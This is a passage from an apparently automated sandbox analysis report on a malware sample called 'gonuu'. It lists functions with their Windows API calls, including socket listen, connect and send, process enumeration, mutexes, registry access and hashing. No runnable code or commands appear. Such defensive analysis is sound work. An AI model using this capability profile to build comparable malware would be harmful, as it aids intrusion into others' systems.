    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0040C85F, Relevance: 6.1, APIs: 4, Instructions: 52
    APIs
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0040CC26, Relevance: 6.0, APIs: 4, Instructions: 48
    APIs
    • IsDialogMessageW.USER32 ref: 0040CC26
    • CharLowerW.USER32 ref: 0040CC2C
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040CCC9
    • IsBadStringPtrW.KERNEL32(?,00000201), ref: 0040CD2D
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 00410D86, Relevance: 6.0, APIs: 4, Instructions: 46
    APIs
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0040F259, Relevance: 6.0, APIs: 4, Instructions: 46
    APIs
    • CreateDialogParamW.USER32 ref: 0040F259
    • WideCharToMultiByte.KERNEL32 ref: 0040F25F
    • DragFinish.SHELL32 ref: 0040F265
    • IsBadStringPtrW.KERNEL32(?,00000200), ref: 0040F376
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0041BCB2, Relevance: 6.0, APIs: 4, Instructions: 42
    APIs
    • TranslateMessage.USER32(?), ref: 0041BCD4
    • DispatchMessageW.USER32(?), ref: 0041BCDF
    • PeekMessageW.USER32(00000000,00000000,00000000,00000000,00000001), ref: 0041BCEF
    • MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000004FF), ref: 0041BD03
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 0040EEFA, Relevance: 6.0, APIs: 4, Instructions: 40
    APIs
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0042026D, Relevance: 6.0, APIs: 4, Instructions: 40
    APIs
      • Part of subcall function 00407ED5: CreateMutexW.KERNEL32(00432AFC,00000000,?), ref: 00407EF6
      • Part of subcall function 0040803E: WaitForSingleObject.KERNEL32(00000000,0040A714), ref: 00408046
    • GetCurrentThread.KERNEL32 ref: 0042028E
    • SetThreadPriority.KERNEL32 ref: 00420295
    • WaitForSingleObject.KERNEL32(00001388), ref: 004202AD
      • Part of subcall function 00426F66: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00426F87
      • Part of subcall function 00426F66: Process32FirstW.KERNEL32(?,?), ref: 00426FB0
      • Part of subcall function 00426F66: OpenProcess.KERNEL32(00000400,00000000,?), ref: 0042700B
      • Part of subcall function 00426F66: CloseHandle.KERNEL32 ref: 00427028
      • Part of subcall function 00426F66: GetLengthSid.ADVAPI32(?,?,?,?), ref: 0042703B
      • Part of subcall function 00426F66: CloseHandle.KERNEL32(?), ref: 004270AC
      • Part of subcall function 00426F66: Process32NextW.KERNEL32(?,0000022C), ref: 004270B8
      • Part of subcall function 00426F66: CloseHandle.KERNEL32(?), ref: 004270C9
    • WaitForSingleObject.KERNEL32(00001388), ref: 004202C2
      • Part of subcall function 0041BD18: ReleaseMutex.KERNEL32 ref: 0041BD1C
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 00416485, Relevance: 6.0, APIs: 4, Instructions: 39
    APIs
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 00408439, Relevance: 6.0, APIs: 4, Instructions: 36
    APIs
    • GetLocaleInfoW.KERNEL32 ref: 00408439
    • ReleaseDC.USER32 ref: 0040843F
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00408487
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 004086A5
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 004087B1
    • MapAndLoad.IMAGEHLP(o5gHO2q0,y6L1D,?,00000000,00000000), ref: 00408D42
    • MapAndLoad.IMAGEHLP(aW8A049,nPI31,?,00000000,00000000), ref: 00408E50
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00408F3C
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00408FDE
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00409205
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040979B
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00409AD6
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00409BFA
    • MapAndLoad.IMAGEHLP(sp3G49i0,Bfh9,?,00000000,00000000), ref: 00409CDA
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00409E16
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040A13E
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,?,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,?,00000000,00000000), ref: 0040B0E2
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 00419B15, Relevance: 6.0, APIs: 4, Instructions: 36
    APIs
    • CreateToolhelp32Snapshot.KERNEL32(00000004,00000000), ref: 00419B22
    • Thread32First.KERNEL32(?,?), ref: 00419B3D
    • Thread32Next.KERNEL32(?,0000001C), ref: 00419B53
    • CloseHandle.KERNEL32 ref: 00419B5E
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 00413AC4, Relevance: 6.0, APIs: 4, Instructions: 35
    APIs
    • GlobalLock.KERNEL32 ref: 00413AC4
    • ReadFile.KERNEL32 ref: 00413ACA
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00413B00
    • IsBadStringPtrW.KERNEL32(?,00000200), ref: 00413B6F
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0040C507, Relevance: 6.0, APIs: 4, Instructions: 29
    APIs
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 004138D0, Relevance: 6.0, APIs: 4, Instructions: 28
    APIs
    • GetForegroundWindow.USER32 ref: 004138D0
    • SetWindowLongW.USER32 ref: 004138D6
    • DispatchMessageW.USER32 ref: 004138DC
    • IsBadStringPtrW.KERNEL32(?,00000201), ref: 00413977
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 004106C5, Relevance: 6.0, APIs: 4, Instructions: 27
    APIs
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0040F2F0, Relevance: 6.0, APIs: 4, Instructions: 26
    APIs
    • WinHelpW.USER32 ref: 0040F2F0
    • SetActiveWindow.USER32 ref: 0040F2F6
    • IsClipboardFormatAvailable.USER32 ref: 0040F2FC
    • IsBadStringPtrW.KERNEL32(?,00000200), ref: 0040F376
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0040834B, Relevance: 6.0, APIs: 4, Instructions: 22
    APIs
    • lstrcpynW.KERNEL32 ref: 0040834B
    • GetCurrentProcess.KERNEL32 ref: 00408351
    • GetFileInformationByHandle.KERNEL32 ref: 00408357
    • IsBadStringPtrW.KERNEL32(?,00000201), ref: 004083B1
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00408487
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 004086A5
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 004087B1
    • MapAndLoad.IMAGEHLP(o5gHO2q0,y6L1D,?,00000000,00000000), ref: 00408D42
    • MapAndLoad.IMAGEHLP(aW8A049,nPI31,?,00000000,00000000), ref: 00408E50
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00408F3C
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00408FDE
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00409205
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040979B
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00409AD6
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00409BFA
    • MapAndLoad.IMAGEHLP(sp3G49i0,Bfh9,?,00000000,00000000), ref: 00409CDA
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00409E16
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040A13E
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,?,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,?,00000000,00000000), ref: 0040B0E2
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0040CF7E, Relevance: 6.0, APIs: 4, Instructions: 22
    APIs
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 004087F0, Relevance: 6.0, APIs: 4, Instructions: 20
    APIs
    • LocalUnlock.KERNEL32 ref: 004087F0
    • lstrlenW.KERNEL32 ref: 004087F6
    • SetAbortProc.GDI32 ref: 004087FC
    • IsBadStringPtrW.KERNEL32(?,00000202), ref: 00408854
    • MapAndLoad.IMAGEHLP(o5gHO2q0,y6L1D,?,00000000,00000000), ref: 00408D42
    • MapAndLoad.IMAGEHLP(aW8A049,nPI31,?,00000000,00000000), ref: 00408E50
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00408F3C
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00408FDE
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00409205
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040979B
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00409AD6
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00409BFA
    • MapAndLoad.IMAGEHLP(sp3G49i0,Bfh9,?,00000000,00000000), ref: 00409CDA
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00409E16
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040A13E
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,?,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,?,00000000,00000000), ref: 0040B0E2
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 00412BA9, Relevance: 6.0, APIs: 4, Instructions: 20
    APIs
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 00416EA1, Relevance: 6.0, APIs: 4, Instructions: 18
    APIs
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 00412751, Relevance: 6.0, APIs: 4, Instructions: 18
    APIs
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 00409033, Relevance: 6.0, APIs: 4, Instructions: 17
    APIs
    • ReplaceTextW.COMDLG32 ref: 00409033
    • UnhandledExceptionFilter.KERNEL32 ref: 00409039
    • UpdateWindow.USER32 ref: 0040903F
    • IsBadStringPtrW.KERNEL32(?,00000201), ref: 00409086
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00409205
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040979B
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00409AD6
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00409BFA
    • MapAndLoad.IMAGEHLP(sp3G49i0,Bfh9,?,00000000,00000000), ref: 00409CDA
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00409E16
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040A13E
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,?,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,?,00000000,00000000), ref: 0040B0E2
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 00413866, Relevance: 6.0, APIs: 4, Instructions: 17
    APIs
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 00414E7A, Relevance: 6.0, APIs: 4, Instructions: 16
    APIs
    • LocalReAlloc.KERNEL32 ref: 00414E7A
    • GetProcAddress.KERNEL32 ref: 00414E80
    • GetDateFormatW.KERNEL32 ref: 00414E86
    • IsBadStringPtrW.KERNEL32(?,00000200), ref: 00414EC6
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0040DF22, Relevance: 6.0, APIs: 4, Instructions: 16
    APIs
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0041440B, Relevance: 6.0, APIs: 4, Instructions: 16
    APIs
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 004191F6, Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 293
    Strings
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 00413FFE, Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 215
    APIs
      • Part of subcall function 0041BAFD: getsockname.WS2_32(?,?,?), ref: 0041BB1B
      • Part of subcall function 0041B3EC: recv.WS2_32(?,?,00000001,00000000), ref: 0041B410
    • getaddrinfo.WS2_32(?,00000000,00000000,?), ref: 004140CD
    • freeaddrinfo.WS2_32(?), ref: 00414103
      • Part of subcall function 0041B57B: socket.WS2_32(?,00000001,00000006), ref: 0041B584
      • Part of subcall function 0041B57B: bind.WS2_32 ref: 0041B5A4
      • Part of subcall function 0041B57B: listen.WS2_32(?,00000000), ref: 0041B5B3
      • Part of subcall function 0041B57B: closesocket.WS2_32 ref: 0041B5BE
      • Part of subcall function 0041B8B2: accept.WS2_32(?,00000000,00000001), ref: 0041B8DB
      • Part of subcall function 0041B481: socket.WS2_32(?,00000001,00000006), ref: 0041B48A
      • Part of subcall function 0041B481: connect.WS2_32 ref: 0041B4AA
      • Part of subcall function 0041B481: closesocket.WS2_32 ref: 0041B4B5
      • Part of subcall function 0041B93D: setsockopt.WS2_32(?,00000006,00000001,?,00000004), ref: 0041B953
      • Part of subcall function 0041B654: recv.WS2_32(?,?,00000400,00000000), ref: 0041B69D
      • Part of subcall function 0041B654: send.WS2_32(?,?,?,00000000), ref: 0041B6B7
      • Part of subcall function 0041B654: select.WS2_32(00000000,?,00000000,00000000,00000000), ref: 0041B6F4
      • Part of subcall function 0041B8E5: shutdown.WS2_32(?,00000002), ref: 0041B8ED
      • Part of subcall function 0041B8E5: closesocket.WS2_32 ref: 0041B8F4
      • Part of subcall function 00413F88: getpeername.WS2_32(000000FF,00000000,00000000), ref: 00413FAC
      • Part of subcall function 00413F88: getsockname.WS2_32(000000FF,00000000,00000000), ref: 00413FBB
    Strings
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 0041FE76, Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 213
    APIs
      • Part of subcall function 0041A3FB: WaitForSingleObject.KERNEL32(?,?), ref: 0041A44F
      • Part of subcall function 0041A3FB: Sleep.KERNEL32(?), ref: 0041A462
      • Part of subcall function 0041A3FB: InternetCloseHandle.WININET ref: 0041A4E8
      • Part of subcall function 0041FC68: RegOpenKeyExW.ADVAPI32(80000001,00433E88,00000000,00000001,?), ref: 0041FC91
    • WaitForSingleObject.KERNEL32(00002710), ref: 0041FFFD
      • Part of subcall function 00419656: CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000001,F0000040), ref: 0041966F
      • Part of subcall function 00419656: CryptCreateHash.ADVAPI32(?,00008003,00000000,00000000,?), ref: 00419687
      • Part of subcall function 00419656: CryptHashData.ADVAPI32(?,00000010,?,00000000), ref: 004196A3
      • Part of subcall function 00419656: CryptGetHashParam.ADVAPI32(?,00000002,?,00000010,00000000), ref: 004196BB
      • Part of subcall function 00419656: CryptDestroyHash.ADVAPI32(?), ref: 004196D2
      • Part of subcall function 00419656: CryptReleaseContext.ADVAPI32(?,00000000), ref: 004196DC
    • CharLowerA.USER32(00000000), ref: 00420142
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
    Strings
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 0040896D, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112
    APIs
    • GetTimeFormatW.KERNEL32 ref: 0040896D
    • MapAndLoad.IMAGEHLP(o5gHO2q0,y6L1D,?,00000000,00000000), ref: 00408D42
    • MapAndLoad.IMAGEHLP(aW8A049,nPI31,?,00000000,00000000), ref: 00408E50
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00408F3C
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00408FDE
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00409205
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040979B
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00409AD6
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00409BFA
    • MapAndLoad.IMAGEHLP(sp3G49i0,Bfh9,?,00000000,00000000), ref: 00409CDA
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00409E16
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040A13E
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,?,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040ADF5
